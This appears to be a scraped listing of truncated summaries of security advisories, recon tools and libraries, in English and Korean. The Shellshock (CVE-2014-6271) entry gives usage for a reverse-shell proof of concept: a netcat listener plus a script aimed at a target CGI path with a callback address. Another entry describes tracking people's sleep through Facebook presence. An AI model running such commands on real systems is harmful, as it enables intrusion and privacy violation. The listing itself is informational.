EUVD-2026-92711

A flaw was found in the maestro gRPC broker. This vulnerability allows a remote attacker, with a valid client certificate, to bypass authentication. This bypass enables the attacker to subscribe to other consumers' event streams, leading to unauthorized information disclosure, or to publish forge...

CVE-2026-71297

A flaw in the maestro gRPC broker allows a remote attacker with a valid client certificate to bypass authentication because the broker lacks an auth interceptor and client mTLS is optional. This vulnerability enables unauthorized subscription to other consumers' event streams, potentially causing...

libqcow

libqcow는 QEMU Copy-On-WriteQCOW 이미지 파일 형식에 접근하기 위한 라이브러리입니다. 프로젝트 정보: 상태: 알파 라이선스: LGPL-3.0-or-later 읽기 전용으로 지원되는 QCOW 형식: 버전 1 버전 2 버전 3 지원되는 QCOW 형식 기능: zlibDEFLATE 압축 AES-CBC 128비트 암호화 backing file차등 이미지 지원되지 않는 QCOW 형식 기능: LUKS 암호화 데이터 파일 이미지 내 스냅샷 작업 진행 중: 파일 API 함수의 스레드 안전성 자세한 내용은 다음을...

authelia

!OpenSSF Scorecardhttps://shieldcn.dev/badge/dynamic/json.svg?url=https://img.shields.io/ossf-scorecard/github.com/authelia/authelia.json&query=$.message&label=openssf%20scorecard&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmc...

CVE-2026-102776

The Joomla Extension - svenbluege.de 's Event Gallery extension (versions

CVE-2022-26269

CVE-2022-26269 Suzuki connect 앱은 연료, 시동 상태, 현재 위치, 시트 벨트 체결 상태 등 자동차 정보를 얻는 데 사용됩니다. Ignis Zeta 변형 차량에서 OBD 2 포트를 통해 조작된 값예: 연료 0%, 운전석 시트 벨트 체결으로 연료 CAN 메시지와 시트 벨트 체결 상태를 스푸핑하면 동일한 값이 Suzuki connect 앱에 반영되어 사용자를 오도할 수 있습니다. 영향을 받는 제품: Suzuki Connect 앱 버전 1.0.15 자동차 Ignis Zeta 변형, 제조년도 2019 Suzuk...

second-order

Second Order 웹 애플리케이션을 크롤링하여 특정 규칙과 일치하거나 특정 방식으로 응답하는 URL및 기타 데이터을 수집함으로써 2차 서브도메인 탈취second-order subdomain takeover를 검사합니다. 설치 바이너리로 설치 릴리스 페이지에서 미리 빌드된 바이너리를 다운로드하여 압축을 푸세요. 소스로 설치 Go 버전 1.17을 권장합니다. go install -v github.com/mhmdiaa/second-order@latest Docker docker pull mhmdiaa/second-order 명...

Sublist3r

About Sublist3r Sublist3r is a python tool designed to enumerate subdomains of websites using OSINT. It helps penetration testers and bug hunters collect and gather subdomains for the domain they are targeting. Sublist3r enumerates subdomains using many search engines such as Google, Yahoo, Bing,...

nuubi

Nuubi Tools Scanner, Recon. Details Options: -h/--help | Show help message and exit Arguments: -b/--banner | Banner grabing of target ip address -s/--subnet | Subnetlookup of target -c/--cms | Cms detect with headers -d/--dns | Dnslookup of target domain -e/--extract | Extract links from target...

rustbuster

rustbuster A Comprehensive Web Fuzzer and Content Discovery Tool Introduction Check the blog post: Introducing Rustbuster — A Comprehensive Web Fuzzer and Content Discovery Tool Download You can download prebuilt binaries from here. Installation installrustbuster echo "Installing latest version o...

OpenCLAW-P2P

P2PCLAW - 분산형 자율 연구 집단 P2PCLAW는 AI 에이전트와 인간 연구자들이 개방형 인프라를 통해 과학적 작업을 발행, 검증, 보존 및 평가하는 분산형 연구 네트워크입니다. 최신 공개 논문: arXiv:2604.19792, 현재 OpenCLAW-P2P v7.0 / P2PCLAW로 개정되었습니다. 시작하기 목표| 링크 ---|--- 새 방문자 개요| 시작하기 라이브 네트워크 사용해보기| www.p2pclaw.com 데모 따라하기| 데모 연습 릴리스 노트 검토| v6.0 연구 프리뷰 검증된 마일스톤 검토| 연구 마일스...

CVE-2014-6271

CVE-2014-6271 python2.7 자신의 머신에서 리슨을 시작하세요. nc -l -p 4444 아래 규칙에 따라 python 스크립트를 실행하세요: python shellpoc.py python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 즐기세요...

rbuster

Rbuster yet another dirbuster Common Command line options -a - specify a user agent string to send in the request -c - use this to specify any cookies that you might need simulating auth. header. -f - force processing of a domain with wildcard results. -l - show the length of the response. -r...

metahub

MetaHub is an automated contextual security findings enrichment and impact evaluation tool for vulnerability management. You can use it with AWS Security Hub or any ASFF-compatible security scanner. Stop relying on useless severities and switch to impact scoring definitions based on YOUR context...

itscape

ITScape — Linux KVM/arm64 게스트-투-호스트 탈출 추적 사이트 ITScape 패치 상태 추적기의 소스: Linux 커널의 KVM/arm64 게스트-투-호스트 탈출에 대한 수정을 제공한 배포판을 기록하는 단일 페이지 사이트입니다. 정보의 원본 버그에 관한 모든 것 — CVE ID, 영향받는 버전 및 수정된 버전, 업스트림 수정 커밋, 발견 및 공개 크레딧, 배포판별 최종 패치 상태 — 은 이 README가 아닌 추적기 페이지에 있습니다: 렌더링: https://kimmo.cloud/itscape/ 소스:...

libvmdk

libvmdk는 VMware Virtual DiskVMDK 형식에 접근하기 위한 라이브러리입니다. 프로젝트 정보: 상태: alpha 라이선스: LGPL-3.0-or-later 읽기 지원 확장 파일 형식: RAW flat COWD 버전 1 sparse VMDK 버전 1, 2 및 3 sparse 지원되는 VMDK 형식 기능: 델타 링크 그레인 압축 20131209 버전 기준 데이터 마커 20140416 버전 기준 현재 지원되지 않는 VMDK 형식 기능: 물리적 장치를 사용하는 이미지 변경 블록 추적CBTVMDK 버전 3sparse...

fb-sleep-stats

fb-sleep-stats: 페이스북으로 친구들의 수면 추적하기 현대 소셜 미디어가 가진 잠재적인 프라이버시 문제를 보여주는 작은 도구입니다. 페이스북에서 사람들의 온라인/오프라인 상태를 추적하면 그들의 수면 패턴을 정확하게 파악할 수 있습니다. 블로그 포스트 읽기: https://medium.com/@sqrendk/how-you-can-use-facebook-to-track-your-friends-sleeping-habits-505ace7fffb6 설치 전제 조건 Git 설치 방법 Node.js 설치 방법 저장소 클론 git...

CVE-2026-90782-s2opc-status-clobber

CVE-2026-90782 — S2OPC 상태 덮어쓰기 NULL 역참조 S2OPCSafe & Secure OPC의 CVE-2026-90782 에 대한 독립 실행형 개념 증명PoC. 취약점 allocnotificationmessageitems S2OPC 1.7.3 및 이전 버전: DataChange와 Event 할당 모두에 단일 공유 status 변수가 사용됩니다. DataChange 할당이 실패OOM / non-OK 반환했지만 이후 Event 할당이 성공하면, status가 SOPCSTATUSOK로 덮어쓰여집니다. 이후 루프 ...

mitmproxy_rs

mitmproxyrs !autofix.ci:...

CVE-2024-57778

CVE-2024-57778 설명 : Orbe ONetView Roteador Onet-1200의 문제로 인해 원격 공격자가 서버의 응답을 상태 코드 500에서 상태 코드 200으로 변경하여 권한을 상승시킬 수 있습니다. 버전 : Orbe ONetView Roteador Onet-1200 Orbe 1680210096에서 발견되었으며, 이후의 모든 버전에 적용됩니다. 개념 증명 라우터의 메뉴 페이지인 http://192.168.1.1/menu.html에 접속하여 아무 옵션이나 클릭하면 500 오류 코드가 표시됩니다: 이후 Burp...